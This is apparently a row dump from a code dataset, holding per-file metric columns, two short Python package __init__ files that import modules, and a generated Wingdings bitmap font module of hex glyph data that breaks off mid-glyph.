| 0.162304
| false
| 0.002618
| 0.018325
| 0
| 0.277487
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
bca04202eb3c42f1a48bf72cdfed017c0eefe5f3
| 129
|
py
|
Python
|
kite-python/kite_emr/kite/emr/__init__.py
|
kiteco/kiteco-public
|
74aaf5b9b0592153b92f7ed982d65e15eea885e3
|
[
"BSD-3-Clause"
] | 17
|
2022-01-10T11:01:50.000Z
|
2022-03-25T03:21:08.000Z
|
kite-python/kite_emr/kite/emr/__init__.py
|
kiteco/kiteco-public
|
74aaf5b9b0592153b92f7ed982d65e15eea885e3
|
[
"BSD-3-Clause"
] | 1
|
2022-01-13T14:28:47.000Z
|
2022-01-13T14:28:47.000Z
|
kite-python/kite_emr/kite/emr/__init__.py
|
kiteco/kiteco-public
|
74aaf5b9b0592153b92f7ed982d65e15eea885e3
|
[
"BSD-3-Clause"
] | 7
|
2022-01-07T03:58:10.000Z
|
2022-03-24T07:38:20.000Z
|
#!/usr/bin/env python
from kite.emr.pipeline import Pipeline
from kite.emr.bundle import Path
from kite.emr.bundle import Bundle
| 25.8
| 38
| 0.806202
| 22
| 129
| 4.727273
| 0.5
| 0.230769
| 0.317308
| 0.326923
| 0.442308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108527
| 129
| 4
| 39
| 32.25
| 0.904348
| 0.155039
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
bcc7a11b8d8420fecd9b0c3d0114e8ed39dfe570
| 212
|
py
|
Python
|
rowboat/models/__init__.py
|
zeromomentum121/speedboat
|
3dfc21e3bea19164372bc8edffc219c6c00ee02a
|
[
"MIT"
] | 16
|
2021-01-03T14:00:48.000Z
|
2022-03-01T21:03:27.000Z
|
rowboat/models/__init__.py
|
zeromomentum121/speedboat
|
3dfc21e3bea19164372bc8edffc219c6c00ee02a
|
[
"MIT"
] | 14
|
2020-11-20T07:00:09.000Z
|
2022-03-12T01:02:08.000Z
|
rowboat/models/__init__.py
|
zeromomentum121/speedboat
|
3dfc21e3bea19164372bc8edffc219c6c00ee02a
|
[
"MIT"
] | 9
|
2018-09-12T20:50:44.000Z
|
2020-06-20T15:58:52.000Z
|
from rowboat.models.channel import *
from rowboat.models.event import *
from rowboat.models.guild import *
from rowboat.models.message import *
from rowboat.models.tags import *
from rowboat.models.user import *
| 30.285714
| 36
| 0.801887
| 30
| 212
| 5.666667
| 0.333333
| 0.388235
| 0.6
| 0.676471
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113208
| 212
| 6
| 37
| 35.333333
| 0.904255
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
4c2d2a477a9fba3eeffdea9e32ae0125a5120528
| 254,203
|
py
|
Python
|
gaugette/fonts/wingding_16.py
|
wsiffer/Google-Bartender
|
37018d3efe33a84074a6dccbce9e82f20ef3c923
|
[
"MIT"
] | 6
|
2020-07-30T00:21:29.000Z
|
2022-03-16T23:31:09.000Z
|
gaugette/fonts/wingding_16.py
|
antndeb/Google-Bartender
|
37018d3efe33a84074a6dccbce9e82f20ef3c923
|
[
"MIT"
] | null | null | null |
gaugette/fonts/wingding_16.py
|
antndeb/Google-Bartender
|
37018d3efe33a84074a6dccbce9e82f20ef3c923
|
[
"MIT"
] | 1
|
2022-03-16T23:39:29.000Z
|
2022-03-16T23:39:29.000Z
|
# coding=utf-8
# Module wingdings_16
# generated from Wingdings 11.25pt
name = "Wingdings 16"
start_char = '!'
end_char = chr(255)
char_height = 16
space_width = 8
gap_width = 2
bitmaps = (
# @0 '!' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x18, # OO
0x00, 0x64, # OO O
0x00, 0x64, # OO O
0x01, 0xB8, # OO OOO
0x07, 0xE0, # OOOOOO
0x0B, 0x40, # O OO O
0x15, 0x80, # O O OO
0x1A, 0x00, # OO O
0x64, 0x00, # OO O
0x98, 0x00, # O OO
0xE0, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @32 '"' (15 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xE0, 0x00, # OOO
0x90, 0x0E, # O O OOO
0x90, 0x38, # O O OOO
0x70, 0xE0, # OOO OOO
0x0D, 0xC0, # OO OOO
0x07, 0x00, # OOO
0x1D, 0x80, # OOO OO
0x78, 0xE0, # OOOO OOO
0x88, 0x38, # O O OOO
0x90, 0x0E, # O O OOO
0xE0, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @64 '#' (17 pixels wide)
0x00, 0x00, 0x00, #
0x0C, 0x00, 0x00, # OO
0x0A, 0x00, 0x00, # O O
0x0A, 0x00, 0x00, # O O
0x06, 0x00, 0x00, # OO
0x02, 0x00, 0x00, # O
0x02, 0x02, 0x00, # O O
0x03, 0xFF, 0x80, # OOOOOOOOOOO
0x3F, 0xC0, 0x00, # OOOOOOOO
0xC8, 0x80, 0x00, # OO O O
0x88, 0xC0, 0x00, # O O OO
0x70, 0x40, 0x00, # OOO O
0x00, 0x60, 0x00, # OO
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
# @112 '$' (19 pixels wide)
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x06, 0x00, 0xC0, # OO OO
0x19, 0x01, 0x20, # OO O O O
0x21, 0x02, 0x20, # O O O O
0x40, 0x04, 0x00, # O O
0x87, 0x08, 0x00, # O OOO O
0xFD, 0xF0, 0x00, # OOOOOO OOOOO
0x85, 0x10, 0x00, # O O O O
0x78, 0xE0, 0x00, # OOOO OOO
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
# @160 '%' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x06, 0x00, # OO
0x19, 0x80, # OO OO
0x20, 0x40, # O O
0x20, 0x40, # O O
0x20, 0x40, # O O
0x20, 0x40, # O O
0x20, 0x40, # O O
0x5F, 0xA0, # O OOOOOO O
0xF0, 0x70, # OOOO OOO
0x80, 0x10, # O O
0x7F, 0xE0, # OOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @192 '&' (17 pixels wide)
0x00, 0x00, 0x00, #
0x1E, 0x3C, 0x00, # OOOO OOOO
0x21, 0x42, 0x00, # O O O O
0xE0, 0x83, 0x80, # OOO O OOO
0xE0, 0x83, 0x80, # OOO O OOO
0xE0, 0x83, 0x80, # OOO O OOO
0xE0, 0x83, 0x80, # OOO O OOO
0xE0, 0x83, 0x80, # OOO O OOO
0xE0, 0x83, 0x80, # OOO O OOO
0xEE, 0xBB, 0x80, # OOO OOO O OOO OOO
0xF1, 0xC5, 0x80, # OOOO OOO O OO
0xEE, 0xBB, 0x80, # OOO OOO O OOO OOO
0xF1, 0xC7, 0x80, # OOOO OOO OOOO
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
# @240 ''' (5 pixels wide)
0x00, #
0x00, #
0x20, # O
0x50, # O O
0x50, # O O
0xD8, # OO OO
0xA8, # O O O
0xF8, # OOOOO
0x88, # O O
0x88, # O O
0x88, # O O
0x88, # O O
0xF8, # OOOOO
0x00, #
0x00, #
0x00, #
# @256 '(' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0xE0, # OOOOOOOO
0x7F, 0xF8, # OOOOOOOOOOOO
0xF8, 0x7C, # OOOOO OOOOO
0xF0, 0x3C, # OOOO OOOO
0xFF, 0xFC, # OOOOOOOOOOOOOO
0xFF, 0xFC, # OOOOOOOOOOOOOO
0x1F, 0xE0, # OOOOOOOO
0x3B, 0x70, # OOO OO OOO
0x3F, 0xF0, # OOOOOOOOOO
0x3F, 0xF0, # OOOOOOOOOO
0x3F, 0xF0, # OOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @288 ')' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4E, 0x40, # O OOO O
0x8F, 0x20, # O OOOO O
0x83, 0x20, # O OO O
0x83, 0x20, # O OO O
0x83, 0x20, # O OO O
0x83, 0x20, # O OO O
0x4E, 0x40, # O OOO O
0x2E, 0x80, # O OOO O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @320 '*' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xFC, # OOOOOOOOOOOOOO
0xC0, 0x0C, # OO OO
0xA0, 0x14, # O O O O
0x90, 0x64, # O O OO O
0x88, 0x84, # O O O O
0x8D, 0x84, # O OO OO O
0x93, 0x44, # O O OO O O
0xA0, 0x24, # O O O O
0xA0, 0x14, # O O O O
0xC0, 0x0C, # OO OO
0xFF, 0xFC, # OOOOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @352 '+' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xFC, # OOOOOOOOOOOOOO
0x80, 0x34, # O OO O
0x80, 0x34, # O OO O
0x80, 0x04, # O O
0x80, 0x04, # O O
0x9F, 0x04, # O OOOOO O
0x8F, 0x84, # O OOOOO O
0x87, 0xC4, # O OOOOO O
0x80, 0x04, # O O
0x80, 0x04, # O O
0xFF, 0xFC, # OOOOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @384 ',' (15 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x7C, # OOOOO
0x03, 0x86, # OOO OO
0x3C, 0x02, # OOOO O
0x44, 0x02, # O O O
0x82, 0x06, # O O OO
0xB2, 0xFE, # O OO O OOOOOOO
0x83, 0x9E, # O OOO OOOO
0x82, 0x1E, # O O OOOO
0x82, 0x0C, # O O OO
0x82, 0x70, # O O OOO
0xFF, 0x80, # OOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @416 '-' (15 pixels wide)
0x00, 0x00, #
0x00, 0xE0, # OOO
0x01, 0xFC, # OOOOOOO
0x01, 0xE4, # OOOO O
0x0F, 0xE2, # OOOOOOO O
0x79, 0x82, # OOOO OO O
0x87, 0x82, # O OOOO O
0x83, 0x82, # O OOO O
0xB3, 0x82, # O OO OOO O
0x83, 0x02, # O OO O
0x82, 0x02, # O O O
0x82, 0x7C, # O O OOOOO
0xFF, 0x80, # OOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @448 '.' (19 pixels wide)
0x00, 0x00, 0x00, #
0x00, 0x0E, 0x00, # OOO
0x00, 0x1F, 0xC0, # OOOOOOO
0x00, 0x3E, 0x60, # OOOOO OO
0x07, 0xD8, 0x20, # OOOOO OO O
0x08, 0x58, 0x20, # O O OO O
0x69, 0xB8, 0x20, # OO O OO OOO O
0x9A, 0x78, 0x20, # O OO O OOOO O
0x86, 0xB8, 0x20, # O OO O OOO O
0x73, 0x20, 0x20, # OOO OO O O
0x21, 0x20, 0x60, # O O O OO
0x10, 0xE7, 0x80, # O OOO OOOO
0x0F, 0xF8, 0x00, # OOOOOOOOO
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
# @496 '/' (19 pixels wide)
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x03, 0x80, # OOO
0x00, 0x3C, 0x40, # OOOO O
0x03, 0xC0, 0x20, # OOOO O
0x04, 0x40, 0x20, # O O O
0x08, 0x20, 0x20, # O O O
0xE8, 0x23, 0xE0, # OOO O O OOOOO
0x98, 0x3F, 0xE0, # O OO OOOOOOOOO
0x96, 0x21, 0xE0, # O O OO O OOOO
0x41, 0x20, 0x60, # O O O OO
0x30, 0xA7, 0x80, # OO O O OOOO
0x1F, 0xF8, 0x00, # OOOOOOOOOO
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
# @544 '0' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x3E, 0x00, # OOOOO
0xFF, 0xFC, # OOOOOOOOOOOOOO
0x80, 0x04, # O O
0x80, 0x04, # O O
0x80, 0x04, # O O
0x80, 0x04, # O O
0x80, 0x04, # O O
0x80, 0x04, # O O
0x80, 0x04, # O O
0x80, 0x04, # O O
0xFF, 0xFC, # OOOOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @576 '1' (18 pixels wide)
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x3E, 0x00, 0x00, # OOOOO
0xE1, 0xFC, 0x00, # OOO OOOOOOO
0x80, 0x04, 0x00, # O O
0x8F, 0xFF, 0xC0, # O OOOOOOOOOOOOOO
0x90, 0x00, 0x80, # O O O
0x90, 0x00, 0x80, # O O O
0xA0, 0x01, 0x00, # O O O
0xA0, 0x01, 0x00, # O O O
0xC0, 0x02, 0x00, # OO O
0x80, 0x02, 0x00, # O O
0xFF, 0xFC, 0x00, # OOOOOOOOOOOOOO
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
# @624 '2' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFE, 0x00, # OOOOOOO
0xB7, 0x00, # O OO OOO
0x85, 0x80, # O O OO
0xB7, 0x80, # O OO OOOO
0xBE, 0x80, # O OOOOO O
0xBE, 0x80, # O OOOOO O
0x80, 0x80, # O O
0xBE, 0x80, # O OOOOO O
0xBE, 0x80, # O OOOOO O
0x80, 0x80, # O O
0xFF, 0x80, # OOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @656 '3' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0x80, # OOOOOOOOO
0xBE, 0x80, # O OOOOO O
0x80, 0x80, # O O
0xBE, 0x80, # O OOOOO O
0xBE, 0x80, # O OOOOO O
0xBE, 0x80, # O OOOOO O
0x80, 0x80, # O O
0xBE, 0x80, # O OOOOO O
0xBE, 0x80, # O OOOOO O
0x80, 0x80, # O O
0xFF, 0x80, # OOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @688 '4' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0xE0, # OOOOOOOO
0x7F, 0xE0, # OOOOOOOOOO
0x40, 0x60, # O OO
0xFF, 0x60, # OOOOOOOO OO
0xFD, 0x60, # OOOOOO O OO
0x81, 0x60, # O O OO
0xFD, 0x60, # OOOOOO O OO
0xFD, 0x60, # OOOOOO O OO
0xFD, 0x60, # OOOOOO O OO
0x81, 0x60, # O O OO
0xFD, 0x60, # OOOOOO O OO
0xFD, 0x40, # OOOOOO O O
0x81, 0xC0, # O OOO
0xFF, 0x00, # OOOOOOOO
# @720 '5' (7 pixels wide)
0x00, #
0x00, #
0xFE, # OOOOOOO
0xB2, # O OO O
0xB2, # O OO O
0x82, # O O
0x82, # O O
0xFE, # OOOOOOO
0xB2, # O OO O
0xB2, # O OO O
0x92, # O O O
0x82, # O O
0xFE, # OOOOOOO
0x00, #
0x00, #
0x00, #
# @736 '6' (6 pixels wide)
0x00, #
0x00, #
0xFC, # OOOOOO
0x84, # O O
0xFC, # OOOOOO
0x84, # O O
0x78, # OOOO
0x30, # OO
0x78, # OOOO
0xCC, # OO OO
0x84, # O O
0xFC, # OOOOOO
0xFC, # OOOOOO
0x00, #
0x00, #
0x00, #
# @752 '7' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x80, # O
0x00, 0x80, # O
0x1F, 0x00, # OOOOO
0x20, 0x00, # O
0xFF, 0xF8, # OOOOOOOOOOOOO
0xB5, 0x68, # O OO O O OO O
0xAA, 0xC8, # O O O O OO O
0xB5, 0x68, # O OO O O OO O
0x80, 0x08, # O O
0x9F, 0xC8, # O OOOOOOO O
0xFF, 0xF8, # OOOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @784 '8' (12 pixels wide)
0x03, 0x80, # OOO
0x04, 0x40, # O O
0x04, 0x40, # O O
0x0B, 0xF0, # O OOOOOO
0x0A, 0x50, # O O O O
0x93, 0xF0, # O O OOOOOO
0x62, 0x10, # OO O O
0x02, 0x10, # O O
0x02, 0x10, # O O
0x02, 0x10, # O O
0x02, 0x10, # O O
0x03, 0x30, # OO OO
0x01, 0xE0, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @816 '9' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x60, 0x00, # OO
0x90, 0xF0, # O O OOOO
0x11, 0x08, # O O O
0x13, 0xF4, # O OOOOOO O
0x13, 0xDC, # O OOOO OOO
0x12, 0xD4, # O O OO O O
0x1E, 0x64, # OOOO OO O
0x02, 0x04, # O O
0x03, 0xFC, # OOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @848 ':' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xC0, # OOOOOOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0xC0, 0xC0, # OO OO
0xC0, 0xC0, # OO OO
0xC0, 0xC0, # OO OO
0xFF, 0xC0, # OOOOOOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0x55, 0x40, # O O O O O
0xFF, 0xC0, # OOOOOOOOOO
0xD5, 0x60, # OO O O O OO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @880 ';' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xF0, # OOOOOOOOOOOO
0x9F, 0xD0, # O OOOOOOO O
0xBF, 0xD0, # O OOOOOOOO O
0x90, 0x10, # O O O
0xFF, 0xF0, # OOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @912 '<' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xA0, 0xA0, # O O O O
0xA0, 0xA0, # O O O O
0xA0, 0xA0, # O O O O
0xA0, 0xA0, # O O O O
0xBF, 0xA0, # O OOOOOOO O
0x80, 0x20, # O O
0x9F, 0x20, # O OOOOO O
0x97, 0x20, # O O OOO O
0x97, 0x20, # O O OOO O
0x7F, 0xE0, # OOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @944 '=' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0x80, 0xE0, # O OOO
0x80, 0xC0, # O OO
0xFF, 0xE0, # OOOOOOOOOOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xFF, 0xE0, # OOOOOOOOOOO
0xFB, 0xE0, # OOOOO OOOOO
0xFB, 0xE0, # OOOOO OOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @976 '>' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x80, 0x20, # O O
0x86, 0x20, # O OO O
0x9F, 0xA0, # O OOOOOO O
0x90, 0xA0, # O O O O
0x40, 0x40, # O O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1008 '?' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x08, # O
0x00, 0x30, # OO
0x1F, 0xC0, # OOOOOOO
0x2F, 0x80, # O OOOOO
0x2E, 0x40, # O OOO O
0x1C, 0x20, # OOO O
0x7C, 0x20, # OOOOO O
0x9F, 0xC0, # O OOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1040 '@' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x80, 0x00, # O
0x60, 0x00, # OO
0x1F, 0xC0, # OOOOOOO
0x17, 0xC0, # O OOOOO
0x13, 0xA0, # O OOO O
0x21, 0xC0, # O OOO
0x21, 0xF0, # O OOOOO
0x1F, 0xC8, # OOOOOOO O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1072 'A' (6 pixels wide)
0x00, #
0x40, # O
0x64, # OO O
0x6C, # OO OO
0x78, # OOOO
0xB8, # O OOO
0x68, # OO O
0xD8, # OO OO
0xD8, # OO OO
0xF8, # OOOOO
0x90, # O O
0x50, # O O
0x70, # OOO
0x00, #
0x00, #
0x00, #
# @1088 'B' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x30, 0x00, # OO
0xF4, 0x00, # OOOO O
0xAC, 0x00, # O O OO
0x74, 0x00, # OOO O
0x2C, 0x00, # O OO
0x52, 0x00, # O O O
0x6A, 0x00, # OO O O
0x69, 0x00, # OO O O
0x50, 0x80, # O O O
0x38, 0x40, # OOO O
0x04, 0x40, # O O
0x03, 0x80, # OOO
0x00, 0x00, #
0x00, 0x00, #
# @1120 'C' (8 pixels wide)
0x00, #
0x20, # O
0x20, # O
0x30, # OO
0x28, # O O
0x68, # OO O
0x86, # O OO
0xA1, # O O O
0xF1, # OOOO O
0x76, # OOO OO
0x38, # OOO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @1136 'D' (8 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x1C, # OOO
0x6E, # OO OOO
0x97, # O O OOO
0x8D, # O OO O
0x61, # OO O
0x26, # O OO
0x18, # OO
0x14, # O O
0x0C, # OO
0x04, # O
0x00, #
0x00, #
# @1152 'E' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0x80, # OOOOOOOOO
0xF8, 0x78, # OOOOO OOOO
0x07, 0x88, # OOOO O
0x07, 0x98, # OOOO OO
0x07, 0xA0, # OOOO O
0x03, 0xC0, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1184 'F' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0xF8, # OOOOOOOOOO
0xE1, 0x78, # OOO O OOOO
0x8E, 0x80, # O OOO O
0xD7, 0x00, # OO O OOO
0x3F, 0x00, # OOOOOO
0x1E, 0x00, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1216 'G' (6 pixels wide)
0x00, #
0x0C, # OO
0x0C, # OO
0x0C, # OO
0x0C, # OO
0x14, # O O
0x7C, # OOOOO
0xF4, # OOOO O
0xF4, # OOOO O
0xD4, # OO O O
0xA8, # O O O
0x48, # O O
0x28, # O O
0x38, # OOO
0x00, #
0x00, #
# @1232 'H' (6 pixels wide)
0x00, #
0x70, # OOO
0x50, # O O
0x48, # O O
0x84, # O O
0xBC, # O OOOO
0xBC, # O OOOO
0xBC, # O OOOO
0xD8, # OO OO
0xC0, # OO
0xC0, # OO
0xC0, # OO
0xC0, # OO
0xC0, # OO
0x00, #
0x00, #
# @1248 'I' (11 pixels wide)
0x00, 0x00, #
0x0C, 0x00, # OO
0x35, 0x80, # OO O OO
0xB6, 0x80, # O OO OO O
0xF6, 0x80, # OOOO OO O
0x75, 0x00, # OOO O O
0x51, 0x60, # O O O OO
0x21, 0xA0, # O OO O
0x22, 0xC0, # O O OO
0x21, 0x00, # O O
0x21, 0x00, # O O
0x12, 0x00, # O O
0x0C, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1280 'J' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x40, 0x40, # O O
0x9B, 0x20, # O OO OO O
0x9B, 0x20, # O OO OO O
0x80, 0x20, # O O
0xA0, 0xA0, # O O O O
0x91, 0x20, # O O O O
0x4E, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1312 'K' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x80, # OOOOOO
0x30, 0xC0, # OO OO
0x40, 0x20, # O O
0xCD, 0xB0, # OO OO OO OO
0x8D, 0x90, # O OO OO O
0x80, 0x10, # O O
0x9F, 0x90, # O OOOOOO O
0xC0, 0x30, # OO OO
0x40, 0x20, # O O
0x30, 0xC0, # OO OO
0x1F, 0x80, # OOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1344 'L' (11 pixels wide)
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x31, 0x80, # OO OO
0x40, 0x40, # O O
0xDB, 0x60, # OO OO OO OO
0x9B, 0x20, # O OO OO O
0x80, 0x20, # O O
0x8E, 0x20, # O OOO O
0x91, 0x20, # O O O O
0xE0, 0xE0, # OOO OOO
0x40, 0x40, # O O
0x31, 0x80, # OO OO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1376 'M' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x50, # O O
0x0E, 0x5C, # OOO O OOO
0x09, 0xB0, # O OO OO
0x1C, 0x7C, # OOO OOOOO
0x7F, 0x34, # OOOOOOO OO O
0xFF, 0xA8, # OOOOOOOOO O O
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0x7F, 0x00, # OOOOOOO
0x3E, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1408 'N' (8 pixels wide)
0x00, #
0x00, #
0x1C, # OOO
0x3E, # OOOOO
0x3E, # OOOOO
0x2A, # O O O
0x14, # O O
0x08, # O
0x08, # O
0xC1, # OO O
0xF7, # OOOO OOO
0x1C, # OOO
0xE3, # OOO OO
0x00, #
0x00, #
0x00, #
# @1424 'O' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x80, 0x00, # O
0xBC, 0x00, # O OOOO
0xC4, 0x00, # OO O
0x84, 0x00, # O O
0x87, 0xC0, # O OOOOO
0x84, 0x40, # O O O
0xBC, 0x40, # O OOOO O
0xCC, 0x40, # OO OO O
0x88, 0x40, # O O O
0x90, 0x40, # O O O
0x8F, 0x80, # O OOOOO
0x80, 0x00, # O
0x80, 0x00, # O
0x00, 0x00, #
# @1456 'P' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xBC, 0x00, # O OOOO
0xC6, 0x00, # OO OO
0x82, 0x00, # O O
0x84, 0x00, # O O
0xBF, 0x04, # O OOOOOO O
0xCC, 0xF8, # OO OO OOOOO
0x88, 0x20, # O O O
0x8F, 0xC0, # O OOOOOO
0x40, 0x00, # O
0x40, 0x00, # O
0x40, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1488 'Q' (11 pixels wide)
0x00, 0x00, #
0x08, 0x00, # O
0x0C, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x03, 0x00, # OO
0xFF, 0xE0, # OOOOOOOOOOO
0x7F, 0xE0, # OOOOOOOOOO
0x83, 0x00, # O OO
0x06, 0x00, # OO
0x04, 0x00, # O
0x0C, 0x00, # OO
0x08, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1520 'R' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x2D, 0x00, # O OO O
0x33, 0x00, # OO OO
0x41, 0x00, # O O
0xC0, 0xC0, # OO OO
0x41, 0x00, # O O
0x40, 0x80, # O O
0x61, 0x80, # OO OO
0x1E, 0x00, # OOOO
0x12, 0x00, # O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1552 'S' (7 pixels wide)
0x00, #
0x00, #
0x10, # O
0x10, # O
0x10, # O
0x38, # OOO
0x7C, # OOOOO
